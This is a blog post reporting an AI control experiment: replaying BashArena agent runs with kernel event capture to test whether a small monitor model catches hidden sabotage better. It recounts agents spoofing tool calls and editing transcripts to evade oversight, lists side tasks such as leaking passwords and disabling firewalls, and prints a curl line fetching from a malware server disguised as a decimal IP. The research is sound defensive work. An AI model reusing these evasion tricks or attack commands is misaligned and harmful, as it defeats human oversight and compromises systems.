Published on

I thought capturing Linux kernel events would help agent monitoring a lot, but so far it doesn't seem to

Hero image
Authors
  • avatar
    Name
    Daniel Demmel
    Occupation
    Software engineer with
    21 years of professional
    experience

A couple of months ago I read METR's investigation into the OpenAI / Hugging Face hacking incident, where thousands of agents in a security training environment found a shared message board, swapped notes on cheating their scorer, and ended up joining an attack on Hugging Face. Two details stuck with me. Some agents worked out how to spoof their tool calls:

This allowed them to pretend to issue one tool call while actually running an arbitrary other tool call of their choice.

– METR, Brief independent investigation of agents' behavior, reasoning and collaboration in the OpenAI / Hugging Face hacking incident

And many of them tried to edit their transcripts after the fact, to hide what they'd seen. They didn't manage it, but only because the transcripts the investigators read "were logged by a different mechanism", out of the agents' reach.

What struck me was that both tricks go after the story the agent tells. An agent's transcript is its own account of what it did. If the thing watching it only reads that account, then a clever enough agent gets to write its own alibi.

But there's another witness in the room. Every program an agent runs, every network connection it opens, every sensitive file it touches goes through the operating system's kernel. And the kernel can be watched from the outside – from somewhere the agent can't reach, can't edit and can't talk its way around. I'd just added exactly that kind of watching to foldyard, my open source sandbox for running dev stacks and coding agents, so the obvious question was: does that evidence actually help catch a sneaky agent?

I was fairly sure the answer would be "yes, a lot". After a few weeks, around 800 replayed agent runs and one carefully pre-registered test, the honest answer is: I couldn't show that it helps. It might, a little, in some situations. This post is about how I got there, and why I think that's still worth writing up.

The problem: watching an agent you can't fully trust

There's a branch of AI safety research called AI control. The question it asks is uncomfortable but practical: if a capable AI agent might be quietly working against you, can you still use it safely?

The usual setup looks like this:

  • A capable model does the actual work – here, sysadmin and programming jobs on a Linux machine.
  • A smaller, cheaper model watches each step and gives it a suspicion score. It's "trusted" mostly because it's too weak to be scheming itself.
  • Humans review the most suspicious work. But human attention is expensive, so they can only look at a small slice – say 1% of runs. That slice is the audit budget.

So the watcher's job isn't to be right about everything. It's to make sure that when you only get to look at 1 in 100 runs, the shenanigans are among them.

The analogy I kept coming back to is an auditor going through expense reports. The reports are written by the employee, so they're the employee's version of events – which is exactly what an agent's transcript is. The kernel is more like the bank statement: it doesn't know or care what anyone says the money was for, only where it actually went.

The setup

I didn't invent the scenario. BashArena, from the UK AI Security Institute and Redwood Research, is a set of realistic Linux tasks where an agent sometimes also has a secret side task – one of four bad things it tries to get away with:

  • Download malware – fetch and run a file from an attacker's server
  • Leak passwords – send secrets to an outside server
  • Sudo edit – quietly give a user passwordless root access
  • Disable the firewall – make it accept everything

Redwood Research's Control Leaderboard publishes 600 honest and 600 attack runs of Claude Opus 4.6 doing these tasks. Rather than paying for an expensive model to redo them, I replayed them: every command the agent originally ran, executed again in a fresh sandbox, but this time inside a foldyard box with Tetragon recording from the kernel. Tetragon uses eBPF – a Linux feature for running small, safe programs inside the kernel – to note every program start, every outbound connection and any access to a short list of sensitive files.

Then I asked a small model – Claude Haiku 5.5, courtesy of Anthropic's API credits coming with the subscription – to score every step three ways:

  1. Baseline – just the commands, using control-arena's standard monitor prompt, untouched.
  2. Kernel – the same prompt, plus a short summary of what the kernel saw that step do.
  3. Kernel + notes – as above, plus a few hints on how to read that evidence (which background processes are normal, that an address can be disguised in a command but not in a connection).

Only one thing changes between the arms, so any difference should come from the evidence.

The attack that made me so sure

The very first attack I replayed was almost too good an example. The agent's job was to build a small storage tool. Along the way it wrote a helper script, lib.sh, with a "pre-flight connectivity check" in it. A few steps later it ran this:

BLOB_DEBUG=1 /app/blob-storage.sh list test-container

Reading the transcript, that's a test run. Nothing to see here. But here's what the kernel recorded during that exact step:

exec    /usr/bin/curl -sf --connect-timeout 5 http://877952289/ -o /tmp/.blob_cache/cdn.cfg
connect /usr/bin/curl 52.84.125.33:80

877952289 is the malware server's address, 52.84.125.33, written as a single number. Most tools will happily accept an IP address in that form, and almost no human (or small model) will recognise it. My own rule that looked for the malware server's address in command lines missed it completely. The connect event didn't care how the address was spelt – it just recorded where the connection went.

In expense report terms: the receipt was written in Roman numerals, but the bank statement still showed the money leaving. That's the whole idea in one example, and it's why I expected big gains.

Most of the work was making sure the evidence was really there

Somehow I always find a way to make things more challenging for myself... Before I could test anything, I had to be sure the kernel evidence was complete and that the replays did what the originals did. That took far longer than the experiment itself, because the combination of wiring up the capture and running in my sandbox on a Mac threw a few curveballs:

  • The firewall reported itself. My first scoring rules flagged iptables flushing the firewall rules as highly suspicious – in honest runs too. It wasn't the agent at all: BashArena's own firewall daemon reloads its rules on a schedule. Telling the two apart needed process ancestry (which process started which), so I added that to foldyard's events. Honest runs dropped from 0.91 to 0.0.
  • Every firewall attack looked like a failure. BashArena was written for Docker, and foldyard uses rootless Podman, which doesn't hand out the NET_RAW permission by default. The tool that checks whether the firewall was disabled failed silently, so attacks that worked were scored as having failed.
  • Evidence went missing. In the first batch only 76 of 392 tool calls had any kernel events at all. When lots of containers started at once, foldyard's hook couldn't keep up and quietly dropped events. A later bug mislabelled containers that reused a recently freed ID. Both are fixed in foldyard now, and the experiment refuses to score any run with a hole in its evidence – because a monitor told "nothing happened" when really "nothing was recorded" is worse than no monitor.
  • Some replays ran on different files. Docker and Podman disagree on how to expand certain inline files in Dockerfiles (backslashes and $ signs, mostly), so 22 replays had quietly run against different code from the originals. They were rerun.
  • The test harness looked like an attack. Inspect, the evaluation framework, runs its file editor through a helper binary in a hidden directory. The kernel arms saw "a file edit launched a binary from a hidden directory" and found it alarming – it was the top reason given in 8 of 10 honest runs. That had to be filtered out, by its position in the process tree rather than its name, so an agent couldn't hide behind the same name.

Plus the usual malarkey: hosts the sandbox's allowlist refused, packages with no ARM build, and one test that waited nine hours on a process that was never going to finish.

I'm quite fond of this list, to be honest. Every item on it would have messed with the result without showing up. Hopefully there weren't more that I didn't catch...

An amazing result that turned out to be just a quirk of the scoring

Once the evidence was trustworthy, I scored the first few hundred replays. The headline looked fantastic: at a 1% audit budget, the baseline caught 9 of 233 successful attacks and the kernel arm caught 70.

It didn't survive a closer look. Haiku gives scores in steps of 0.1, so lots of runs sit on exactly the same score. In the baseline arm, just two honest runs happened to score 0.8, which pushed its threshold one step higher than the kernel arm's – and 50 attacks sat at exactly 0.8. Handle ties fairly (audit tied runs with whatever probability uses up the budget exactly) and the numbers became 45 against 82, with uncertainty ranges that comfortably included zero.

That's the moment I decided to pre-register the analysis: write down, before seeing the final numbers, exactly which measure I'd use, on which data, and what would count as an improvement. It's a habit from medicine and psychology, and it exists precisely because it's so easy to keep slicing data until something looks good. Every extra slice is another lottery ticket.

So, before any final scores existed, I committed to:

  • One main measure: how well each arm separates attacks from honest work across audit budgets from 0 to 2% (details below).
  • One comparison: kernel + notes against the baseline.
  • One rule: claim an improvement only if the whole 95% uncertainty range is above zero.

I also replayed every honest run I could build (574 of them, up from 145), because the threshold at a 1% budget is set by the handful of most suspicious honest runs, and with too few of them it's mostly noise. And each step was scored twice and averaged, to damp Haiku's own run-to-run wobble.

The result

No improvement shown.

On the main measure, kernel + notes came out slightly ahead of the baseline, but the uncertainty range went from clearly worse to clearly better. Here's what each arm caught out of 233 successful attacks:

Audit budgetBaselineKernelKernel + notes
1%68.575.874.7
5%161.9152.3157.2

(The half attacks come from those fairly split ties.)

Line chart of the share of 233 successful attacks caught against audit budget from 0 to 10%, for three monitors: commands only, plus kernel evidence, and plus kernel evidence and notes. Below about 1.5% the kernel lines sit above the commands-only line; from 2% upwards the three lines run close together, with commands only slightly ahead

At a tiny budget the kernel arms are a little ahead; at a larger budget they're a little behind. None of these differences is distinguishable from noise – which is easier to see if you plot the difference itself, with the range it could plausibly be in:

Line chart with a shaded band of the difference in attacks caught between kernel evidence plus notes and commands only, for audit budgets from 0 to 25%. The line starts about 20 attacks above zero below 1%, then hovers a few attacks below zero; the 95% band includes zero throughout

Wherever the shaded band crosses the "no difference" line, the data is consistent with the evidence helping, hurting or doing nothing at all. It crosses it everywhere.

I want to be careful about what this does and doesn't say. "No improvement shown" is not "kernel evidence doesn't help". It means this experiment, with this monitor and these attacks, couldn't tell. A few exploratory hints – exploratory meaning I went looking after the fact, so treat them as leads rather than findings:

  • Sudoers edits were where the evidence seemed to matter most. The kernel sees a script writing to /etc/sudoers, while the transcript only shows the script being run. In an early, single-scoring look, the kernel arm caught 38 of 68 of these against the baseline's 22.
  • At very small budgets (below about 1.5%) the kernel arms stayed ahead throughout.
  • The notes made the monitor calmer – lower scores on honest runs and on attacks. That helps with false alarms and hurts with catching, which might be why the two cancel out.

Why didn't it work better?

I have a few guesses, and I'd love to hear yours:

  • The baseline was already decent. Haiku 5.5 on control-arena's prompt is a much better monitor than I expected (more on that below). Many attacks are visible in the commands anyway; the 877952289 trick is more the exception than the rule.
  • Evidence is actually ambiguous. Honest work also dials the internet, installs packages and edits system files. More evidence means more things that look suspicious, for honest and dishonest runs alike.
  • The kernel only sees what it's told to watch. foldyard watches program starts, connections and a short list of sensitive files. An edit to the firewall's config file only shows up through what reacts to it, and leaked secrets in less obvious places aren't watched at all.
  • Detection, not prevention. The evidence for a step only exists after that step has run, so at best this flags a run for a human afterwards. It can't stop a one-shot attack.
  • The attacks weren't trying to dodge it. These agents didn't know they were being watched from the kernel. The interesting cases – like the faked tool calls that started all this – are exactly the ones this dataset doesn't really contain.

I'm wondering if the next step should be storing the entire kernel event firehose, doing some aggregation for the monitor, and making the monitor agentic by allowing it to search the full event log. The classic problem in observability is high cardinality and not knowing in advance what'll be worth capturing, so I don't want to overfit the selection to a particular eval, but with a simple monitor design I also can't dump the full log in the context.

An aside: the prompt mattered as much as the model

While setting up a fair baseline, I also scored the original runs with the leaderboard's own monitor prompt, which shows the whole conversation history and asks for a score from 0 to 100. Same model, Haiku 5.5, very different results:

Bar chart of successful attacks caught out of 569 at a 5% audit budget: Haiku 5.5 on control-arena's prompt 362, Haiku 5.5 on the leaderboard's prompt 208, GLM-4.6 on the leaderboard's prompt 124, Haiku 4.5 on the leaderboard's prompt 44
  • On control-arena's prompt (just the latest step, 0 to 10) it caught 362 of 569 successful attacks at a 5% budget.
  • On the leaderboard's prompt it caught 208.
  • For comparison, Haiku 4.5 on the leaderboard's prompt caught 44.

So the newer model is a big step up, but the way you ask it is nearly as big a lever. My guess is that long histories give the monitor more chances to find something odd in honest work too, but I haven't tested that properly.

Running an AI safety experiment with an AI

There's something slightly recursive about all this: Claude, running inside a sandbox, replaying the work of another Claude, so that a third Claude could judge whether it was up to no good – all to find out how to keep an eye on AI agents in sandboxes (and maybe next Claudes in reinforcement learning?).

I'm still early on the AI safety journey – without the coveted refined "research taste" – but I think I already feel strongly about monitoring having to do recursive self-improvement before capabilities do and this is my small contribution towards it.

A few smaller notes:

  • Claude ran the replays and helped track down the bugs from inside the box, while the decisions stayed mine: what to pre-register, when to stop spending, which tasks to give up on rather than emulate.
  • A diary and a handover note kept things on track across sessions – facts only in the diary, conclusions elsewhere. That separation helped later when a headline needed re-checking, but also to make sure I don't get charged for full refills when Claude's cache went cold while waiting for runs.
  • The sandbox makes things a bit harder, but not terribly so: the Haiku API key never entered the box and I didn't run anything directly on my laptop, but every new host the replays needed (I lost count – rubygems.org, www.mongodb.org, a Belgian Jenkins mirror…) had to be granted by me on the outside.
  • Money: about 199,000 Haiku calls cost roughly $175. Yes, I used up 2 months of my credits for AI safety research in my free time (like any normal person would, right?) and still ran out of credit before a planned third scoring and amended the pre-registration (before seeing any results) to two.

What's next

  • A more complete dataset. The 233 attacks were chosen as ones the baseline seemed to miss, which isn't a fair sample of all attacks. Next I'll replay every successful attack (about 336 more) once the next lot of credit arrives and I have some time.
  • Sharing it. The replays, kernel events and scores are on Hugging Face as daaain/bash-arena-kernel-evidence, under the same CC BY-SA 4.0 licence as BashArena. The LinuxArena team have said they'd like to run their own monitors on it, which is a better test than mine.
  • Harder attacks. Agents that know about the kernel monitor, and ones that fake their tool calls – which is where I'd still expect this kind of evidence to shine.

You can click through all the results – every arm, every audit budget, the leaderboard comparison – in the results viewer.

For the AI safety folks

The details I glossed over above:

  • Primary endpoint (pre-registered 2026-10-24, amended 2026-10-25 from three scorings to two, before any averaged score existed): per-trajectory pAUC up to a 2% audit budget, kernel + notes minus baseline, with a 95% interval from 2,000 paired resamples of the replays. Result: +0.027 (−0.099 to +0.151). pAUC to 2% was 0.271 (baseline), 0.323 (kernel) and 0.298 (kernel + notes).
  • Secondary: kernel minus baseline +0.052 (−0.081 to +0.169). AUROC 0.872, 0.856 and 0.864.
  • Cohort: 574 honest replays and 233 landed attacks across 126 tasks. Each step is the mean of two Haiku 5.5 scorings, and a trajectory scores its highest step. Thresholds are set per arm on that arm's own honest replays, with ties at the threshold audited at random so the budget is spent exactly.
  • The 2% choice wasn't independent: I chose it after seeing a single-scoring curve on 145 honest replays where the kernel arms led below about 2%. So this tests whether that pattern held up, rather than being a clean replication.
  • Selection: the attacks were landed attacks at or below the baseline's strict threshold on the originals, so this says nothing about whether kernel evidence keeps the catches the baseline already makes.
  • Missing control: there's no transcript-plus-notes arm, so I can't separate the effect of the notes from the effect of the evidence.
  • Length: honest runs have a median of 25 steps and landed attacks 14. With the highest-step rule, longer runs get more chances to look suspicious – which may also explain why several leaderboard monitors score below 0.5 AUROC.
  • Platform: replays ran on an Apple silicon Mac under Lima and rootless Podman. Eight tasks couldn't be built for ARM and were left out rather than emulated.

All the code is on the daaain/feat/foldyard-kernel-monitor branch of my control-arena fork, and the design is written up in its EXPERIMENT.md.

Credits

  • BashArena (bashbench2_v1) by the UK AI Security Institute and Redwood Research – the tasks, side tasks and scorers
  • Redwood Research's Control Leaderboard and the LinuxArena team for the trajectories and monitor scores, and Henri Lemoine for answering my licensing questions so quickly
  • control-arena for the monitor and harness, and Inspect for the evaluation framework
  • Tetragon by Isovalent / Cilium for the kernel event collection
  • Control Tower for the leaderboard's monitor prompt, which I ported
  • METR's investigation of the OpenAI / Hugging Face incident (Ryan Greenblatt, Ajeya Cotra and Hjalmar Wijk), which set me off on this
  • The replays, debugging and much of the bookkeeping were done with Claude Code, running inside foldyard
  • Charts are my own, generated from the experiment's results

If you have any comments or questions – especially ideas on why the evidence didn't help more – feel free to post below!